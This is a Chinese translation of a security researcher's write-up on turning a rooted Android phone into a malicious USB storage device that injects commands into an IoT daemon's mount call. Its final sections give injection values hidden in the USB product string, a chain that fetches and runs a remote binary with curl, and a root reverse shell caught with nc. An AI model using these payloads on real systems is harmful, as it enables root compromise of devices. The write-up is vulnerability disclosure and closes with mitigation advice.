原文地址:https://carvesystems.com/news/command-injection-with-usb-peripherals/

受到Project Zero发表的一篇USB安全报告的启发,我开始仔细思考如何将USB用作物联网设备的攻击面。在许多的物联网设备中,是允许用户插入USB设备并通过它自动执行某些操作的,并且,这些自动功能也许过于信任USB设备了。随着时间的推移,这份报告在我的脑海中的印象渐渐消退,直到一个带有USB端口的物联网设备出现在我的门口——显眼的USB端口重新激起了我的兴趣。可悲的是,该报告中提到的 Raspberry Pi Zero的到货时间仍然遥遥无期,好在我听一位同事提过Android也支持ConfigFS,于是,我决定另起炉灶。

我发现,带有安全问题的物联网设备会自动安装插入该设备的USB大容量存储设备,如果设置了某些属性的话,该设备还会使用这些属性——未经相应的安全检查——来创建安装目录名称。此外,这里的安装过程还是通过C语言中臭名昭着的“system”函数实现的:恶意USB设备能够以这样的方式设置某些参数以实现任意命令执行。由于相关的守护进程是以root身份运行的,这意味着,攻击者可以插入USB设备,等待几秒钟,然后就可以在设备上以root身份执行命令了。这不禁让人们想起相关间谍电影中的画面——其中主人公将一些设备插入高度复杂的门锁中,然后,LED屏幕上会闪烁一堆数字,之后,门就神奇地打开了。现实中,真的可以做到吗?我想是的。

但是问题在于,如何才能把安卓设备变成一个自定义的USB外设呢?我在网络上面搜索了一大圈,但是没有找到相应的解决方案。而本文的目的,就是解决这个短板,为此,我们需要使用一个已经取得root权限的Nexus 5X设备,并运行最新版本的Android系统,即8.1版本。当然,当前尚不确定本文介绍的方法是否适用于Android 9。

将Android用作大容量存储器

就这里来说,需要将Android设备用作USB大容量存储设备,并带有以下属性:产品名称字符串、产品型号字符串和磁盘标签。当然,我们还可以自定义更多的属性,但这并非本文关注的内容。接下来,我们将从那些看起来似乎没有用的东西开始着手:首先,我对ConfigFS非常熟悉,并且发现了/config/usb_gadget方法,所以,我们可以利用这个ConfigFS方法来创建一个快捷式的大容量USB存储设备。为此,我创建了一个脚本,来帮助我们完成这些工作,运行结果如下所示:

mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented

我不清楚为什么这条路走不通,但是有一点很明显,那就是这个方法是不受支持的。为了搞清楚怎么回事,我专门研究了Android和Linux的内核源代码,当然,我们不打算通读所有源码,相反,我只想知道如何在这个设备上使用/bin/touch/tmp/haxxed并将其声明为1337。所以,我把注意力转向Android中init 进程的内核空间,看看Android开发者为改变USB功能做了哪些工作。

通过考察Android的init文件,我们发现USB有两个不同的.rc文件:init.usb.configfs.rcinit.usb.rc。眼尖的读者可能已经发现了,它们都会检查属性sys.usb.configfs:如果其值为1,则会使用init.usb.configfs.rc文件中相关条目,否则将使用init.usb.rc文件中的相关条目。对我的实验环境来说,sys.usb.configfs的值为0,并且我确认系统在/sys/class/android_usb目录中修改了一些内容,所以,我将焦点移到了那里。当然,我没有考察sys.usb.configfs设置为1时会发生什么情况,所以,我无法确定这是唯一的方法,但可以肯定的是,至少这种方法对于我来说是有效的。

探索未知世界

既然已经将焦点转移到了/sys/class/android_usb/android0目录,那么不妨看看其中包含了哪些内容:

bullhead:/sys/class/android_usb/android0 # ls
bDeviceClass           f_acm          f_ffs          f_rmnet     iManufacturer           power
bDeviceProtocol        f_audio        f_gps          f_rmnet_smd iProduct                remote_wakeup
bDeviceSubClass        f_audio_source f_mass_storage f_rndis     iSerial                 state
bcdDevice              f_ccid         f_midi         f_rndis_qc  idProduct               subsystem
down_pm_qos_sample_sec f_charging     f_mtp          f_serial    idVendor                uevent
down_pm_qos_threshold  f_diag         f_ncm          f_uasp      idle_pc_rpm_no_int_secs up_pm_qos_sample_sec
enable                 f_ecm          f_ptp          f_usb_mbim  pm_qos                  up_pm_qos_threshold
f_accessory            f_ecm_qc       f_qdss         functions   pm_qos_state

其中,idVendoridProductiProductiManufacturerf_mass_storage看起来有点面熟。如果您熟悉ConfigFS的话,就会发现f_mass_storage的内容与mass_storage`函数的内容非常相似:

bullhead:/sys/class/android_usb/android0 # ls f_mass_storage
device inquiry_string lun luns power subsystem uevent
bullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lun
file nofua power ro uevent

老实说,这到底是咋回事,我也不太清楚。不过,我们的目标要明确一下——通过创建恶意USB设备来发动攻击,而不是了解Linux内核的内部工作原理以及Android如何将自己设置为USB外围设备。幸运的是,源代码和设备本身为我们提供了许多提示,这些都能帮助我们弄清楚如何使用这个目录。

init.usb.rc中,经常会遇到如下所示的代码:

write /sys/class/android_usb/android0/enable 0
            ....
write /sys/class/android_usb/android0/functions ${sys.usb.config}
write /sys/class/android_usb/android0/enable 1

那么,当插入一个开发设备,并使用ADB时,会运行哪些函数呢?

bullhead:/sys/class/android_usb/android0 # cat functions
ffs

我碰巧知道设备上的ADB是使用FunctionFS实现的,而ffs看起来像是FunctionFS的简写,所以,这里很可能启用的就是它。接下来,我们可以改变那个值,例如把它设置为mass_storage,然后看看会发生什么。

bullhead:/sys/class/android_usb/android0 # echo 0 > enable

可以看到,ADB会话被关闭了。是的,杀死USB的同时,USB连接自然也会关闭。好吧,至少我知道它是起作用的! 幸运的是,ADB非常适合在TCP/IP上工作,所以,我可以重启它:

adb tcpip 5555
adb connect 192.168.1.18:5555

我郑重声明,我绝不会用你们当地咖啡店的WiFi来做这件事。好了,现在我们连接好了,接下来,我们可以关闭USB并切换到大容量存储器模式,看看会发生什么情况。

bullhead:/sys/class/android_usb/android0 # echo 0 > enable
bullhead:/sys/class/android_usb/android0 # echo mass_storage > functions
bullhead:/sys/class/android_usb/android0 # echo 1 > enable

太棒了,既没有报错,也没有发生崩溃,一切如常。如果您熟悉ConfigFS,您就明白这里也可以修改f_mass_storage/lun/file,让大容量存储设备成为后端设备。接下来,我们介绍如何创建一个让USB大容量存储设备变为后端存储器的镜像文件。

创建镜像文件

在制作镜像时需要牢记的一件事情是,我们需要设法控制磁盘标签的值(如blkid所示)。为此,我们可以创建一个文件,然后使用它即可,而无需任何其他的奇技淫巧。请注意,写入USB磁盘中的内容并不重要,这里只是希望目标设备将其识别为大容量存储设备,进而安装该设备。下面,开始创建我们的后端镜像文件:

dd if=/dev/zero of=backing.img count=50 bs=1M

这将创建一个名为backing.img、大小为50MB的文件,该文件的内容都是0值。实际上,这里的内容并不重要,因为下面我们会用fdisk命令对其进行格式化。对于老练的Linux黑客来说,完全可以通过编写相应的脚本来完成这些工作:

echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img

That magic is filling out the fdisk entries for you. It looks like this:

Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xd643eccd.

Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.

Command (m for help): Partition type
   p   primary (0 primary, 0 extended, 4 free)
   e   extended (container for logical partitions)
Select (default p):
Using default response p.
Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479):
Created a new partition 1 of type 'Linux' and of size 9 MiB.

Command (m for help): Selected partition 1
Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.

Command (m for help): The partition table has been altered.
Syncing disks.

我们将创建一个带有DOS分区表和单个FAT32分区的镜像,其他内容都是默认的设置。接下来,我们要完成格式化处理,并设置标签:

# losetup --offset 1048576 -f backing.img /dev/loop0
# mkdosfs -n "HAX" /dev/loop0
# losetup -d /dev/loop0

其中,“1048576”是“2048 * 512”之积。在这里,我们只是将上面创建的镜像附加为/dev/loop0设备,并运行一个简单的mkdosfs命令,其中-n "HAX"对本例来说非常重要,因为它使得我们可以控制标签。好了,我们需要做的,就这么些了——很简单吧!

综合起来

借助上面创建的镜像,我们就可以创建完整的USB设备了:

$ adb tcpip 5555
$ adb connect 192.168.1.18:5555
$ adb push backing.img /dev/local/tmp/
$ adb shell

adb shell中:

$ su
# echo 0 > /sys/class/android_usb/android0/enable
# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file
# echo 'mass_storage' > /sys/class/android_usb/android0/functions
# echo 1 > /sys/class/android_usb/android0/enable

如果一切顺利,则:

# lsusb -v -d 18d1:

Bus 003 Device 036: ID 18d1:4ee7 Google Inc.
Device Descriptor:
  bLength                18
  bDescriptorType         1
  bcdUSB               2.00
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0
  bDeviceProtocol         0
  bMaxPacketSize0        64
  idVendor           0x18d1 Google Inc.
  idProduct          0x4ee7
  bcdDevice            3.10
  iManufacturer           1 LGE
  iProduct                2 Nexus 5X
  iSerial                 3 0000000000000000
  bNumConfigurations      1
  Configuration Descriptor:
    bLength                 9
    bDescriptorType         2
    wTotalLength           32
    bNumInterfaces          1
    bConfigurationValue     1
    iConfiguration          0
    bmAttributes         0x80
      (Bus Powered)
    MaxPower              500mA
    Interface Descriptor:
      bLength                 9
      bDescriptorType         4
      bInterfaceNumber        0
      bAlternateSetting       0
      bNumEndpoints           2
      bInterfaceClass         8 Mass Storage
      bInterfaceSubClass      6 SCSI
      bInterfaceProtocol     80 Bulk-Only
      iInterface              5 Mass Storage
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x81  EP 1 IN
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               0
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x01  EP 1 OUT
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               1
Device Qualifier (for other device speed):
  bLength                10
  bDescriptorType         6
  bcdUSB               2.00
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0
  bDeviceProtocol         0
  bMaxPacketSize0        64
  bNumConfigurations      1
Device Status:     0x0000
  (Bus Powered)

这样,我们就可以看到该设备了:

$ ls -lh /dev/disk/by-id
lrwxrwxrwx 1 root root  9 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdb
lrwxrwxrwx 1 root root 10 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1

接下来,我们就能够安装该设备了:

$ mkdir HAX && sudo mount /dev/sdb1 HAX

完成安装后,我们就可以考虑改变参数了:

# echo 0 > /sys/class/android_usb/android0/enable
# echo 1337 > /sys/class/android_usb/android0/idProduct
# echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer
# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
$ lsusb -v -d 18d1:

Bus 003 Device 044: ID 18d1:1337 Google Inc.
Device Descriptor:
            ....
  idProduct          0x1337
            ....
  iManufacturer           1 Carve Systems
  iProduct                2 1337 Hacking USB
            ....

哇,这样就可以轻松制作恶意USB设备了。

小试牛刀

为了帮助读者充分认识到该漏洞的严重性,下面给出一个POC示例代码:

snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);
snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);
system(cmd);

上面的代码将完成下列操作:

1.利用易受攻击的守护进程的cwd下载一个shell脚本,用以生成一个反向shell
2.用sh执行该文件

一个棘手的问题是,系统会从这些变量中删除空格和/,但幸运的是,system会将其传递给一个理解$IFS和子shell的shell。对于Android设备来说,这个漏洞的利用方法也很简单,具体的命令可以按如下方式进行构建:

echo 0 > enable
echo ';{cmd};' > iProduct
echo 1 > enable

完整的命令链如下所示(这里删除了一些必要的sleep命令):

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

可以把这些命令可以放到一个文件(/a)中:

b=/
s=" "
u=http:$b${b}192.168.1.152:8000${b}shell
curl$s-s$s-o${s}shell$s$u
chmod$s+x${s}shell
${b}shell

最后一个命令是用sh a执行这个文件。这个脚本将会拉取一个本人编写的二进制文件来获取反向shell。此后,您可以向反向shell发送自己喜欢的payload。在执行完最后一个命令后,我们将会看到熟悉的一幕:

$ nc -l -p 3567
id
uid=0(root) gid=0(root) groups=0(root)

搞定。

安全建议

虽然使用Raspberry Pi Zero可能会更容易一些,但通过已经取得root权限的Android设备也可以轻松实现本文的目的。对于该漏洞,我们的安全建议是:不要信任任何外部输入,即使是来自物理设备的输入,也不值得信赖。对于黑名单方法来说,有时也会存在容易绕过的漏洞。当然,还是有许多方法可以避免这个问题的,但无论对于哪种缓解措施,最重要的就是不要信任从外部设备中读取的属性。如果需要唯一名称,请生成相应的UUID。如果您需要一个独一无二的名称,并且要求对于给定设备来说是不变的,请验证所需的参数是否存在,然后使用SHA256或您喜欢的哈希算法计算它们的哈希值。此外,C函数system也应该谨慎使用:实际上,直接使用C代码安装驱动器也不是什么难事。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖